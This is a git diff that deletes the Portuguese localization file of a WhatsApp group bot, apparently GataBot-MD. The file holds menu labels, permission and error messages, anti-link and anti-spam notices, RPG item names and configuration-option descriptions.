-smsAntiEli1, smsAntiEli2, smsAntiInt1, smsAntiInt2, smsAntiE1, smsAntiE2, smsAntiEE1, smsAntiEE2, smsAntiTT1, smsAntiTT2, smsAntiYT1, smsAntiYT2, smsAntiTEL1, smsAntiTEL2, smsAntiFB1, smsAntiFB2, smsAntiIG1, smsAntiIG2, smsAntiTW1, smsAntiTW2, smsSOLOP1, smsSOLOP2, smsSOLOG1, smsSOLOG2, smsNoGg, smsConfi1, smsConfi2, smsConfi3, smsConfi4, smsConfi5, smsConfi6, smsConfi7, smsConfi8, smsConfi9, smsConfi10, smsMens1, smsMens2, smsMens3, smsMens4, smsMens5, smsMensError1, smsMensError2, smsAntiView, smsAutoLv1, smsAutoLv2, smsAutoLv3, smsAutoLv4, smsAutoLv5, smsAutoLv6, smsAutoLv7, smsAntiSp1, smsAntiSp2, smsAutoStik, smsBottem1, smsBottem2, smsBottem3, smsPremI,
-smsAfkM1, smsAfkM2, smsAfkM3, smsAfkM4, smsAfkM5, smsAfkM6, smsAfkM1A, smsAfkM1B, smsChatAn1, smsChatAn2, smsChatAn3, smsChatAn4, smsChatAn5, smsChatAn6, smsChatAn7, smsChatAn8, smsChatAn9, smsChatAn10, smsChatAn11, smsChatAn12, smsChatAn13, smsBotonM1, smsBotonM2, smsBotonM3, smsBotonM4, smsBotonM5, smsBotonM6, smsBotonM7, smsTex1, smsTex2, smsTex3, smsTex4, smsTex5, smsTex6, smsTex7, smsTex8, smsTex9, smsTex10, smsTex11, smsTex12, smsTex13, smsTex14, smsTex15, smsTex16, smsTex17, smsTex18, smsTex19, smsTex20, smsTex21, smsTex22, smsTex23, smsMalused, smsGrupoTime1, smsGrupoTime2, smsGrupoTime3, smsGrupoTime4, smsGrupoTime5, smsGrupoTime6, smsGrupoTime7, smsGrupoTime8, smsGrupoTime9, smsGrupoTime10, smsGrupoTime11, smsGrupoTime12, smsGrupoTime13, smsAddB1, smsAddB2, smsAddB3, smsAddB4, smsAddB5, smsAddB6, smsAdveu1, smsMalused2, smsAdveu2, smsAdveu3, smsAdveu4, smsAdveu5, smsAdveu6, smsAdveu7, smsAdveu8, smsAdveu9, smsMalused3, smsAdveu10, smsAdveu11, smsAdveu12, smsDemott, smsDemott2, smsDemott3,
-smsGI1, smsGI2, smsGI3, smsGI4, smsGI5, smsGI6, smsGI7, smsGI8, smsGI9, smsGI10, smsLista22_1, smsCodigoQR, smsConexionOFF, smskick1, smskick2, smskick3, smskick4, smstagaa,
-smsSetB, smsSetB2, smsSetW, smsSetW2, smsDest, smsNam1, smsNam2, smsNam3, smsRestGp, smsSig, smsSigPrem, smsCont18Porn, smsCont18Porn2, smsCont18PornP, smsCont18PornP2,
-smsIniJadi, smsSoloOwnerJB, smsJBPrincipal, smsJBConexion, smsJBConexionClose, smsJBConexionTrue, smsJBConexionTrue2, smsJBCargando, smsJBInfo1, smsJBInfo2, smsJBDel, smsJBAdios,
-smsJBCerrarS, smsJBErr, smsContAdult, smsList1, smsList2, smsList3, smsList4, smsList5, smsList6, smsConj, smsFras, smsContacto1, smsContacto2, smsContacto3, smsContacto4,
-smsContacto5, smsContacto6, smsContacto7, smsContacto8, smsAfkQ1, smsAfkQ2, smsAfkTime, smsAfkResultTime, smsMainBot }
diff --git a/lib/idiomas/portugues.js b/lib/idiomas/portugues.js
deleted file mode 100644
index 968a51620..000000000
--- a/lib/idiomas/portugues.js
+++ /dev/null
@@ -1,616 +0,0 @@
-const lenguaje = () => { return 'pt' } //Português
-
-//AVISOS DE MENSAGEM
-const smsAvisoRG = () => { return `╰⊱✅⊱ *RESULTADO* ⊱✅⊱╮\n\n` }
-const smsAvisoAG = () => { return `╰⊱⚠️⊱ *EMBARGO* ⊱⚠️⊱╮\n\n` }
-const smsAvisoIIG = () => { return `╰⊱❕⊱ *EM FORMAÇÃO* ⊱❕⊱╮\n\n` }
-const smsAvisoFG = () => { return `╰⊱❌⊱ *ERRO* ⊱❌⊱╮\n\n` }
-const smsAvisoMG = () => { return `╰⊱❗️⊱ *AÇÃO INADEQUADA* ⊱❗️⊱╮\n\n` }
-const smsAvisoEEG = () => { return `╰⊱📩⊱ *RELATÓRIO* ⊱📩⊱╮\n\n` }
-const smsAvisoEG = () => { return `╰⊱💚⊱ *SUCESSO* ⊱💚⊱╮\n\n` }
-
-//PARÂMETROS EM COMANDOS
-const smsRowner = () => { return `\`\`\`¡¡ESSE COMANDO SÓ EU COMO CRIADOR DE BOT PODE USAR!!\`\`\`` }
-const smsOwner = () => { return `\`\`\`¡¡ESSE COMANDO SÓ MEU CRIADOR PODE USAR!!\`\`\`` }
-const smsMods = () => { return `\`\`\`¡¡ESSE COMANDO SOMENTE MODERADORES E MEU CRIADOR PODEM USAR!!\`\`\`` }
-const smsPremium = () => { return `\`\`\`¡¡ESSE COMANDO APENAS ESTÁ DISPONÍVEL PARA USUÁRIOS PREMIUM E MEU CRIADOR!! PARA OBTER PREMIUM COMPRE UM PASS USANDO #pass premium\`\`\`` }
-const smsGroup = () => { return `\`\`\`¡¡ESSE COMANDO SÓ PODE SER USADO EM GRUPOS!!\`\`\`` }
-const smsPrivate = () => { return `\`\`\`¡¡ESSE COMANDO SÓ PODE SER USADO PARA O PRIVADO!!\`\`\`` }
-const smsAdmin = () => { return `\`\`\`¡¡ESSE COMANDO É SOMENTE PARA ADMINISTRADORES!!\`\`\`` }
-const smsBotAdmin = () => { return `\`\`\`¡¡PRECISO SER ADMIN PARA QUE VOCÊ POSSA USAR ESTE COMANDO!!\`\`\`` }
-const smsUnreg = () => { return `\`\`\`¡¡VOCÊ PRECISA ESTAR REGISTRADO PARA USAR ESTE COMANDO, DIGITE #verify PARA REGISTRAR!!\`\`\`` }
-const smsRestrict = () => { return `\`\`\`¡¡ESSE COMANDO É RESTRITO PELO MEU CRIADOR!!\`\`\`` }
-
-//LISTA DE MENUS
-const smsTime = () => { return `Hora atual`}
-const smsUptime = () => { return `Correndo durante`}
-const smsVersion = () => { return `Versão de ${global.packname}`}
-const smsTotalUsers = () => { return `Total de usuários`}
-const smsMode = () => { return `Está em modo`}
-const smsModePublic = () => { return `PÚBLICO`}
-const smsModePrivate = () => { return `PRIVADO`}
-const smsBanChats = () => { return `Bate-papos banidos`}
-const smsBanUsers = () => { return `Usuário banido`}
-const smsPareja = () => { return `Parceiro`}
-const smsResultPareja = () => { return `Não tem parceiro`}
-const smsSaludo = () => { return `👋 !OLÁ! BEM-VINDO 👋`}
-const smsDia = () => { return `🌇 Bom Dia ⛅`}
-const smsTarde = () => { return `🏙️ Boa tarde 🌤️`}
-const smsTarde2 = () => { return `🌆 Boa tarde 🌥️`}
-const smsNoche = () => { return `🌃 Boa noite 💫`}
-const smsListaMenu = () => { return `⊹ LISTA DE MENUS ⊹`}
-const smsLista1 = () => { return `🌟 INFORMAÇÕES DO GATABOT 🌟`}
-const smsLista2 = () => { return `💖 CRIADORA 💖`}
-const smsLista3 = () => { return `🎁 DOE: APOIE 🎁`}
-const smsLista4 = () => { return `🚀 RAPIDEZ 🚀`}
-const smsLista5 = () => { return `💡 INFORMAÇÕES DO MENU 💡`}
-const smsLista6 = () => { return `🌀 MENU COMPLETO 🌀`}
-const smsLista7 = () => { return `🐈 INSTALAR O GATABOT 🐈`}
-const smsLista8 = () => { return `🍄 SEJA SUB-BOT 🍄`}
-const smsLista9 = () => { return `📄 TERMOS, CONDIÇÕES E PRIVACIDADE 📄`}
-const smsLista10 = () => { return `🌟 AVENTURA E TOPO 🌟`}
-const smsLista11 = () => { return `🏆 TOPO MUNDIAL 🏆`}
-const smsLista12 = () => { return `🏅 USUÁRIOS PREMIUM 🏅`}
-const smsLista13 = () => { return `🎟️ SEJA UM USUÁRIO PREMIUM 🎟️`}
-const smsLista14 = () => { return `🛣️ MISSÕES 🛣️`}
-const smsLista15 = () => { return `⚗️ MENU RPG ⚗️`}
-const smsLista16 = () => { return `🏪 LOJA COMPRA 🏪`}
-const smsLista17 = () => { return `🎒 INVENTÁRIO 🎒`}
-const smsLista18 = () => { return `🌟 MULTIMÍDIA 🌟`}
-const smsLista19 = () => { return `📲 BAIXAR MENU 📲`}
-const smsLista20 = () => { return `🔍 PESQUISAR MENU 🔍`}
-const smsLista21 = () => { return `🛰️ MENU DO CONVERSOR 🛰️`}
-const smsLista22 = () => { return `🧰 MENU MODIFICADOR DE ÁUDIO 🧰`}
-const smsLista22_1 = () => { return `🔩 MENU DE FERRAMENTAS 🔩`}
-const smsLista23 = () => { return `🌟 DIVERSÃO 🌟`}
-const smsLista24 = () => { return `🎡 JOGOS DINÂMICOS 🎡`}
-const smsLista25 = () => { return `🔊 MENU DE ÁUDIO 🔊`}
-const smsLista26 = () => { return `🎈 MENU DE ADESIVOS E FILTROS 🎈`}
-const smsLista27 = () => { return `✨ MENU DE EFEITOS E LOGOTIPOS ✨`}
-const smsLista28 = () => { return `🌅 MENU LOGOS 2 🌅`}
-const smsLista29 = () => { return `⛩️ MEMES E ANIMES ALEATÓRIOS ⛩️`}
-const smsLista30 = () => { return `🔞 COMANDOS PARA ADULTOS +18 🔞`}
-const smsLista31 = () => { return `🌟 DEFINIÇÕES 🌟`}
-const smsLista32 = () => { return `🔰 MENU PARA GRUPOS 🔰`}
-const smsLista33 = () => { return `📑 TIPOS DE LISTAS 📑`}
-const smsLista34 = () => { return `⚙️ CENTRO DE CONFIGURAÇÃO ⚙️`}
-const smsLista35 = () => { return `💎 MENU DO PROPRIETÁRIO 💎`}
-
-//main.js
-const smsWelcome = () => { return `*╭┈⊰* @subject *⊰┈ ✦*\n*┊✨ BEM-VINDO!!*\n┊💖 @user\n┊📄 *LEIA A DESCRIÇÃO DO GRUPO*\n*╰┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈ ✦*\n${String.fromCharCode(8206).repeat(850)}\n@desc`}
-const smsBye = () => { return '*╭┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈⊰*\n┊ @user\n┊ *ELE SAIU DO GRUPO, VOLTE EM BREVE* 😎\n*╰┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈⊰*'}
-const smsSpromote = () => { return '*@user AGORA VOCÊ É ADMINISTRADOR NESTE GRUPO!!*'}
-const smsSdemote = () => { return '*@user NÃO É MAIS ADMINISTRADOR NESTE GRUPO!!*'}
-const smsSdesc = () => { return '*A NOVA DESCRIÇÃO DO GRUPO É:*\n\n@desc'}
-const smsSsubject = () => { return '*O NOVO NOME DO GRUPO É:*\n\n@subject'}
-const smsSicon = () => { return '*A FOTO DESTE GRUPO FOI ALTERADA!!*'}
-const smsSrevoke = () => { return '*AGORA ESTE É O NOVO LINK DESTE GRUPO!!*\n\n*@revoke*'}
-const smsConexion = () => { return `\n𓃠 ┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈✦ 🟢 CONEXÃO ✦┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈ 𓃠\n│\n│★ CONEXÃO BEM-SUCEDIDA NO WHATSAPP 😺\n│\n𓃠 ┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈✦ ✅ ✦┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈ 𓃠`}
-const smsCargando = () => { return `😸 CARREGANDO...\n`}
-const smsCodigoQR = () => { return `\n✅ ESCANEAR O CÓDIGO QR EXPIRA EM 45 SEGUNDOS ✅`}
-const smsConexionOFF = () => { return `\n⚠️ SEM CONEXÃO, APAGUE A PASTA ${global.authFile} E LEIA O CÓDIGO QR ⚠️`}
-const smsClearTmp = () => { return `\n╭» 🟢 MULTIMÍDIA 🟢\n│→ ARQUIVOS DA PASTA TMP EXCLUÍDOS\n╰― ― ― ― ― ― ― ― ― ― ― ― ― ― ― ― ― ― ― 🗑️♻️`}
-const smspurgeSession = () => { return `\n╭» 🔵 ${global.authFile} 🔵\n│→ SESSÕES NÃO ESSENCIAIS ELIMINADAS\n╰― ― ― ― ― ― ― ― ― ― ― ― ― ― ― ― ― ― ― 🗑️♻️`}
-const smspurgeOldFiles = () => { return `\n╭» 🟠 ARQUIVOS 🟠\n│→ ARQUIVOS RESIDUAIS EXCLUÍDOS\n╰― ― ― ― ― ― ― ― ― ― ― ― ― ― ― ― ― ― ― 🗑️♻️`}
-const smspurgeSessionSB1 = () => { return `\n╭» 🟡 GataJadiBot 🟡\n│→ NADA A DELETAR \n╰― ― ― ― ― ― ― ― ― ― ― ― ― ― ― ― ― ― ― 🗑️♻️`}
-const smspurgeSessionSB2 = () => { return `\n╭» ⚪ GataJadiBot ⚪\n│→ ARQUIVOS NÃO ESSENCIAIS EXCLUÍDOS\n╰― ― ― ― ― ― ― ― ― ― ― ― ― ― ― ― ― ― ― 🗑️♻️`}
-const smspurgeSessionSB3 = () => { return `\n╭» 🔴 GataJadiBot 🔴\n│→ UM ERRO OCORREU\n╰― ― ― ― ― ― ― ― ― ― ― ― ― ― ― ― ― ― ― 🗑️♻️\n`}
-const smspurgeOldFiles1 = () => { return `\n╭» 🟣 ARQUIVO 🟣\n│→`}
-const smspurgeOldFiles2 = () => { return `EXCLUIR COM SUCESSO\n╰― ― ― ― ― ― ― ― ― ― ― ― ― ― ― ― ― ― ― 🗑️♻️`}
-const smspurgeOldFiles3 = () => { return `\n╭» 🔴 ARQUIVO 🔴\n│→`}
-const smspurgeOldFiles4 = () => { return `FALHA AO EXCLUIR\n╰― ― ― ― ― ― ― ― ― ― ― ― ― ― ― ― ― ― ― 🗑️❌\n`}
-const smsConexioncerrar = () => { return `\n╭┄┄┄┄┄┄┄┄┄┄┄┄┄┄ • • • ┄┄┄┄┄┄┄┄┄┄┄┄┄┄ ☹\n┆ ⚠️ CONEXÃO FECHADA, RECONECTANDO....\n╰┄┄┄┄┄┄┄┄┄┄┄┄┄┄ • • • ┄┄┄┄┄┄┄┄┄┄┄┄┄┄ ☹`}
-const smsConexionperdida = () => { return `\n╭┄┄┄┄┄┄┄┄┄┄┄┄┄┄ • • • ┄┄┄┄┄┄┄┄┄┄┄┄┄┄ ☂\n┆ ⚠️ PERDEU A CONEXÃO COM O SERVIDOR, RECONECTANDO....\n╰┄┄┄┄┄┄┄┄┄┄┄┄┄┄ • • • ┄┄┄┄┄┄┄┄┄┄┄┄┄┄ ☂`}
-const smsConexionreem = () => { return `\n╭┄┄┄┄┄┄┄┄┄┄┄┄┄┄ • • • ┄┄┄┄┄┄┄┄┄┄┄┄┄┄ ✗\n┆ ⚠️ CONEXÃO SUBSTITUÍDA, OUTRA NOVA SESSÃO FOI ABERTA, FECHE A SESSÃO ATUAL PRIMEIRO.\n╰┄┄┄┄┄┄┄┄┄┄┄┄┄┄ • • • ┄┄┄┄┄┄┄┄┄┄┄┄┄┄ ✗`}
-const smsConexionreinicio = () => { return `\n╭┄┄┄┄┄┄┄┄┄┄┄┄┄┄ • • • ┄┄┄┄┄┄┄┄┄┄┄┄┄┄ ✓\n┆ ❇️ CONECTANDO AO SERVIDOR...\n╰┄┄┄┄┄┄┄┄┄┄┄┄┄┄ • • • ┄┄┄┄┄┄┄┄┄┄┄┄┄┄ ✓`}
-const smsConexiontiem = () => { return `\n╭┄┄┄┄┄┄┄┄┄┄┄┄┄┄ • • • ┄┄┄┄┄┄┄┄┄┄┄┄┄┄ ▸\n┆ ⌛ A CONEXÃO ESPIROU, RECONECTANDO....\n╰┄┄┄┄┄┄┄┄┄┄┄┄┄┄ • • • ┄┄┄┄┄┄┄┄┄┄┄┄┄┄ ▸`}
-const smsConexiondescon = (reason, connection) => { return `\n⚠️❗ MOTIVO DE DESCONEXÃO DESCONHECIDO: ${reason || ''} >> ${connection || ''}`}
-const smsMainBot = () => { return "'main.js' FOI ATUALIZADO COM SUCESSO"}
-
-//_allantilink.js
-const smsTextoYT = () => { return '😻 Super GataBot-MD - WhatsApp '}
-const smsApagar = () => { return '❌ DESATIVAR'}
-const smsEncender = () => { return '✅ ATIVAR'}
-const smsEnlaceTik = () => { return `*UM LINK DO TIKTOK BANIDO FOI DETECTADO NESTE GRUPO*\n\n*EU CONTINUO A TE EXCLUIR*`}
-const smsEnlaceYt = () => { return `*UM LINK DO YOUTUBE BANIDO FOI DETECTADO NESTE GRUPO*\n\n*EU CONTINUO A TE EXCLUIR*`}
-const smsEnlaceTel = () => { return `*UM LINK DE TELEGRAM BANIDO FOI DETECTADO NESTE GRUPO*\n\n*EU CONTINUO A TE EXCLUIR*`}
-const smsEnlaceFb = () => { return `*UM LINK DO FACEBOOK BANIDO FOI DETECTADO NESTE GRUPO*\n\n*EU CONTINUO A TE EXCLUIR*`}
-const smsEnlaceIg = () => { return `*UM LINK DO INSTAGRAM BANIDO FOI DETECTADO NESTE GRUPO*\n\n*EU CONTINUO A TE EXCLUIR*`}
-const smsEnlaceTw = () => { return `*UM LINK DO TWITTER BANIDO FOI DETECTADO NESTE GRUPO*\n\n*EU CONTINUO A TE EXCLUIR*`}
-const smsAllAdmin = () => { return `*PRECISO SER ADMINISTRADOR PARA REMOVER INTRUDERS*`}
-const smsSoloOwner = () => { return `*MEU CRIADOR DEVE ATIVAR A FUNÇÃO*\n*#on restrict*`}
-
-//handler.js
-const smsCont1 = () => { return `*🔴 FALHA DE COMANDO 🔴*`}
-const smsCont2 = () => { return `*⚠️ PLUGIN:*`}
-const smsCont3 = () => { return `*⚠️ USUÁRIO:*`}
-const smsCont4 = () => { return `*⚠️ COMANDO:*`}
-const smsCont5 = () => { return `*⚠️ ERRO:*`}
-const smsCont6 = () => { return `*❗ REPORTE ESTA MENSAGEM USANDO O COMANDO #reporte PARA RESOLVER*`}
-const smsCont7 = () => { return `${global.lenguajeGB['smsAvisoAG']()}*NÃO TEM DIAMANTES!! 💎 VOCÊ PODE IR À LOJA COM O COMANDO*`}
-const smsCont8 = () => { return ` *DIAMANTE 💎 USADO*`}
-const smsCont9 = () => { return `${global.lenguajeGB['smsAvisoAG']()}*PRECISO DO NÍVEL ➡️*`}
-const smsCont10 = () => { return `*PARA USAR ESTE COMANDO. SEU NÍVEL ATUAL É ➡️*`}
-const smsCont11 = () => { return `*ATUALIZAR COM COMANDO*`}
-const smsCont12 = () => { return `UM GRANDE GRUPO!! 😼`}
-const smsCont13 = () => { return `ALGUÉM PARTICIPOU!! 🥳`}
-const smsCont14 = () => { return `ALGUÉM DEIXOU!! 🧐`}
-const smsCont15 = () => { return `*OLÁ*`}
-const smsCont16 = () => { return `*AS CHAMADAS DE VÍDEO* 📲`}
-const smsCont17 = () => { return `*AS CHAMADAS* 📞`}
-const smsCont18 = () => { return `*NÃO ESTÃO AUTORIZADOS ENTÃO VOU TE BLOQUEAR*\n\n*SE LIGADO POR ACIDENTE ENTRE EM CONTATO COM A PESSOA CRIADORA DESTE BOT*`}
-const smsCont19 = () => { return `ANTI EXCLUSÃO`}
-const smsCont20 = () => { return `*┃✤ Nome:*`}
-const smsCont21 = () => { return `*┃✤ Enviando a mensagem excluída...*`}
-
-//_anti-internacional.js
-const smsInt1 = () => { return `*ESTE NÚMERO*`}
-const smsInt2 = () => { return `*NÃO PERMITIDO NESTE GRUPO!!*`}
-
-//_antilink.js
-const smsAdwa = () => { return `${global.lenguajeGB['smsAvisoEG']()}*COMO VOCÊ É ADMINISTRADOR NESTE GRUPO, VOCÊ NÃO SERÁ REMOVIDO*`}
-const smsEnlaceWat = () => { return `${lenguajeGB['smsAvisoAG']()}*UM LINK DE WHATSAPP BANIDO FOI DETECTADO NESTE GRUPO*\n\n*EU CONTINUO A TE EXCLUIR*`}
-
-//_antilink2.js
-const smsEnlaceWatt = () => { return `${lenguajeGB['smsAvisoAG']()}UM LINK PROIBIDO CONTENDO HTTPS FOI DETECTADO NESTE GRUPO\n\nEU CONTINUO A TE EXCLUIR`}
-
-//_antispam.js
-const smsNoSpam = () => { return `🤨 NÃO FAÇA SPAM, VOCÊ NÃO PODERÁ USAR ${global.packname} POR ${60000 / 1000 - 59} MINUTO`}
-
-//_antispam_.js
-const smsNoSpam2 = () => { return `FOI BANIDO DEPOIS ${60000 / 1000 - 59} MINUTO. POR FAVOR NÃO SPAM!!`}
-
-//Texto
-const smsConMenu = () => { return `☘️ MENU`}
-
-//Erro
-const smsMalError = () => { return `${lenguajeGB['smsAvisoFG']()}\`\`\`OCORREU UM ERRO INESPERADO.\`\`\``}
-const smsMalError2 = () => { return `${lenguajeGB['smsAvisoFG']()}\`\`\`SURGIU UMA INCONVENIÊNCIA. TENTE NOVAMENTE.\`\`\``}
-const smsMalError3 = () => { return `${lenguajeGB['smsAvisoFG']()}\`\`\`ALGO DEU ERRADO, DENUNCIE ESTE COMANDO USANDO:\`\`\`\n`}
-
-//_antitoxic.js
-const smsToxic1 = () => { return `NÃO!!! 🤬 DIGA ESTA PALAVRA`}
-const smsToxic2 = () => { return `É PROIBIDO NÃO SEJA TÓXICO`}
-const smsToxic3 = () => { return `*AVISO*\n⚠️`}
-const smsToxic4 = () => { return `😭 EU SINTO MUITO`}
-const smsToxic5 = () => { return `☢️ DESATIVAR ANTITOXIC`}
-const smsToxic6 = () => { return `EU TE AVISEI VÁRIAS VEZES!!`}
-const smsToxic7 = () => { return `VOCÊ PASSOU EM TODOS OS 4 AVISOS AGORA VOCÊ SERÁ ELIMINADO 🙄`}
-
-//fazer compras
-const eExp = () => { return '⚡ Experience' }
-const eDiamante = () => { return '💎 Diamond' }
-const eDiamantePlus = () => { return '💎+ Diamond+' }
-const eToken = () => { return '🪙 Token' }
-const eEsmeralda = () => { return '💚 Emerald' }
-const eJoya = () => { return '♦️ Jewel' }
-const eMagia = () => { return '🌀 Magic' }
-const eOro = () => { return '👑 Gold' }
-const eGataCoins = () => { return '🐱 GataCoins' }
-const eGataTickers = () => { return '🎫 Gata Tickers' }
-const eEnergia = () => { return '✨ Energy' }
-
-const ePocion = () => { return '🥤 Potion' }
-const eAgua = () => { return '💧 Water' }
-const eBasura = () => { return '🗑 Trash' }
-const eMadera = () => { return '🪵 Wood' }
-const eRoca = () => { return '🪨 Rock' }
-const ePiedra = () => { return '🥌 Stone' }
-const eCuerda = () => { return '🕸️ String' }
-const eHierro = () => { return '⛓️ Iron' }
-const eCarbon = () => { return '⚱️ Coal' }
-const eBotella = () => { return '🍶 Bottle' }
-const eLata = () => { return '🥫 Can' }
-const eCarton = () => { return '🪧 Paperboard' }
-
-const eEletric = () => { return '💡 Electricity' }
-const eBarraOro = () => { return '〽️ Gold bar' }
-const eOroComun = () => { return '🧭 Common Gold' }
-const eZorroG = () => { return '🦊🌫️ Big Fox' }
-const eBasuraG = () => { return '🗑🌫️ Super Trash' }
-const eLoboG = () => { return '🐺🌫️ Super Wolf' }
-const eMaderaG = () => { return '🛷🌫️ Super Wood' }
-const eEspada = () => { return '⚔️ Sword' }
-const eCarnada = () => { return '🪱 Bait' }
-const eBillete = () => { return '💵 Banknotes' }
-const ePinata = () => { return '🪅 Pinata' }
-const eGancho = () => { return '🪝 Hook' }
-const eCanaPescar = () => { return '🎣 Fishing Rod' }
-
-const eCComun = () => { return '📦 Common Box' }
-const ePComun = () => { return '🥡 Uncommon Box' }
-const eCMistica = () => { return '🗳️ Mythic Box' }
-const eCMascota = () => { return '📫 Pet Box' }
-const eCJardineria = () => { return '💐 Gardening Box' }
-const eClegendaria = () => { return '🎁 Legendary Box' }
-
-const eUva = () => { return '🍇 Grape' }
-const eManzana = () => { return '🍎 Apple' }
-const eNaranja = () => { return '🍊 Orange' }
-const eMango = () => { return '🥭 Mango' }
-const ePlatano = () => { return '🍌 Banana' }
-
-const eSUva = () => { return '🌾🍇 Grape seeds' }
-const eSManzana = () => { return '🌾🍎 Apple seeds' }
-const eSNaranja = () => { return '🌾🍊 Orange seeds' }
-const eSMango = () => { return '🌾🥭 Mango Seeds' }
-const eSPlatano = () => { return '🌾🍌 Banana seeds' }
-
-const eCentauro = () => { return '🐐 Centaur' }
-const eAve = () => { return '🦅 Bird' }
-const eGato = () => { return '🐈 Cat' }
-const eDragon = () => { return '🐉 Dragon' }
-const eZorro = () => { return '🦊 Fox' }
-const eCaballo = () => { return '🐎 Horse' }
-const eFenix = () => { return '🕊️ Phoenix' }
-const eLobo = () => { return '🐺 Wolf' }
-const ePerro = () => { return '🐶 Dog' }
-
-const eAMascots = () => { return '🍖 Pet Food' }
-const eCCentauro = () => { return '🐐🥩 Centaur Food' }
-const eCAve = () => { return '🦅🥩 Bird Food' }
-const eCMagica = () => { return '🌀🥩 Magic Food' }
-const eCDragon = () => { return '🐉🥩 Dragon Food' }
-const eACaballo = () => { return '🐎🥩 Horse Food' }
-const eCFenix = () => { return '🕊️🥩 Phoenix Food' }
-
-
-//config-on y off.js
-const smsWel1 = () => { return `🎉 BEM-VINDO`}
-const smsWel2 = () => { return `Mensagem de boas-vindas para novos membros em grupos`}
-const smsDete1 = () => { return `🔔 AVISOS`}
-const smsDete2 = () => { return `Avisos de ações dentro do Grupo`}
-const smsANivel1 = () => { return `🆙 NÍVEL AUTOMÁTICO`}
-const smsANivel2 = () => { return `Suba de nível todos automaticamente; (Aplica recompensas por subir de nível)`}
-const smsRestri1 = () => { return `⛔ RESTRINGIR`}
-const smsRestri2 = () => { return `Ativar função para adicionar ou remover pessoas em Grupos`}
-const smsLlamar1 = () => { return `🚫 ANTI CHAMADAS`}
-const smsLlamar2 = () => { return `Bloquear pessoas que fazem chamadas`}
-const smsAntiSp1 = () => { return `🚯 ANTI SPAM`}
-const smsAntiSp2 = () => { return `Proibir o Uso de Comandos quando alguém realizar algum tipo de Spam`}
-const smsModP1 = () => { return `🌐 MODO PÚBLICO`}
-const smsModP2 = () => { return `Ativar função para que todos possam usar o GataBot`}
-const smsModAd1 = () => { return `🛂 MODO ADMINISTRADOR`}
-const smsModAd2 = () => { return `Apenas Admins poderão usar o GataBot em Grupos`}
-const smsLect1 = () => { return `✅ LEITURA AUTOMÁTICA`}
-const smsLect2 = () => { return `Deixar mensagens ou chats como lidos`}
-const smsTempo1 = () => { return `🐈 BOT TEMPORÁRIO`}
-const smsTempo2 = () => { return `Função que permite permanência temporária em Grupos`}
-const smsStik1 = () => { return `🎠 ADESIVOS`}
-const smsStik2 = () => { return `Ative o envio automático de Stickers para todos`}
-const smsStickA1 = () => { return `🪄 ADESIVOS AUTOMÁTICOS`}
-const smsStickA2 = () => { return `Vídeos, Gifs, imagens, links jpg ou jpeg; Eles serão convertidos em adesivos automaticamente`}
-const smsReacc1 = () => { return `🤡 REAÇÃO `}
-const smsReacc2 = () => { return `Habilitar o envio automático de Reações às mensagens`}
-const smsAudi1 = () => { return `🔊 ÁUDIO`}
-const smsAudi2 = () => { return `Habilite o envio automático de áudios para todos`}
-const smsModHor1 = () => { return `🔞 MODO QUENTE`}
-const smsModHor2 = () => { return `Mostrar conteúdo adulto nos bate-papos`}
-const smsAntitoc1 = () => { return `☢️ ANTI TÓXICO`}
-const smsAntitoc2 = () => { return `Envie Avisos para as pessoas que insultam`}
-const smsModOb1 = () => { return `👀 MODO DE OBSERVAÇÃO`}
-const smsModOb2 = () => { return `Torne imagens, gifs e vídeos visíveis para todos`}
-const smsAntiEli1 = () => { return `🗑️ ANTI EXCLUSÃO`}
-const smsAntiEli2 = () => { return `Todas as mensagens excluídas serão encaminhadas para o Chat ou Grupo`}
-const smsAntiInt1 = () => { return `🌏 ANTI INTERNACIONAL`}
-const smsAntiInt2 = () => { return `Elimine Números Internacionais considerados falsos`}
-const smsAntiE1 = () => { return `🔗 ANTI-LINKS`}
-const smsAntiE2 = () => { return `Excluir pessoas que enviam links de grupos do WhatsApp`}
-const smsAntiEE1 = () => { return `🔗 ANTI-LINKS 2`}
-const smsAntiEE2 = () => { return `Eliminar Personas que envíen enlaces que contengan https`}
-const smsAntiTT1 = () => { return `🔗 ANTI TIK TOK`}
-const smsAntiTT2 = () => { return `Remover pessoas que enviam links do TikTok`}
-const smsAntiYT1 = () => { return `🔗 ANTI YOUTUBE`}
-const smsAntiYT2 = () => { return `Remover pessoas que enviam links do YouTube`}
-const smsAntiTEL1 = () => { return `🔗 ANTI TELEGRAM`}
-const smsAntiTEL2 = () => { return `Remover pessoas que enviam links de Telegram`}
-const smsAntiFB1 = () => { return `🔗 ANTI FACEBOOK`}
-const smsAntiFB2 = () => { return `Remover pessoas que enviam links do Facebook`}
-const smsAntiIG1 = () => { return `🔗 ANTI INSTAGRAM`}
-const smsAntiIG2 = () => { return `Remover pessoas que enviam links do Instagram`}
-const smsAntiTW1 = () => { return `🔗 ANTI TWITTER `}
-const smsAntiTW2 = () => { return `Remover pessoas que enviam links do Twitter`}
-const smsSOLOP1 = () => { return `⚜️ APENAS PRIVADO`}
-const smsSOLOP2 = () => { return `Permitir que seja usado apenas em bate-papos privados`}
-const smsSOLOG1 = () => { return `⚜️ APENAS GRUPOS`}
-const smsSOLOG2 = () => { return `Permitir que seja usado apenas em bate-papos em grupo`}
-const smsConfi1 = () => { return `DEFINIÇÕES`}
-const smsConfi2 = () => { return `*Olá!*`}
-const smsConfi3 = () => { return `┃ *Selecione uma opção da lista*`}
-const smsConfi4 = () => { return `┃ *Para começar a configurar*`}
-const smsConfi5 = () => { return `┃● *Avisos de configuração:*`}
-const smsConfi6 = () => { return `┃ ✅ ⇢ *Função ativada*`}
-const smsConfi7 = () => { return `┃ ❌ ⇢ *Função desabilitada*`}
-const smsConfi8 = () => { return `┃ ⚠️ ⇢ *Este bate-papo não é um grupo*`}
-const smsConfi9 = () => { return `┃ *Recomendação: Para ver a configuração*\n┃ *Complete use este Menu de Grupo*\n┃`}
-const smsConfi10 = () => { return `*~ CENTRO DE CONFIGURAÇÃO*`}
-const smsParaAdmins = () => { return `PARA ADMINISTRADORES E CRIADOR: GRUPOS`}
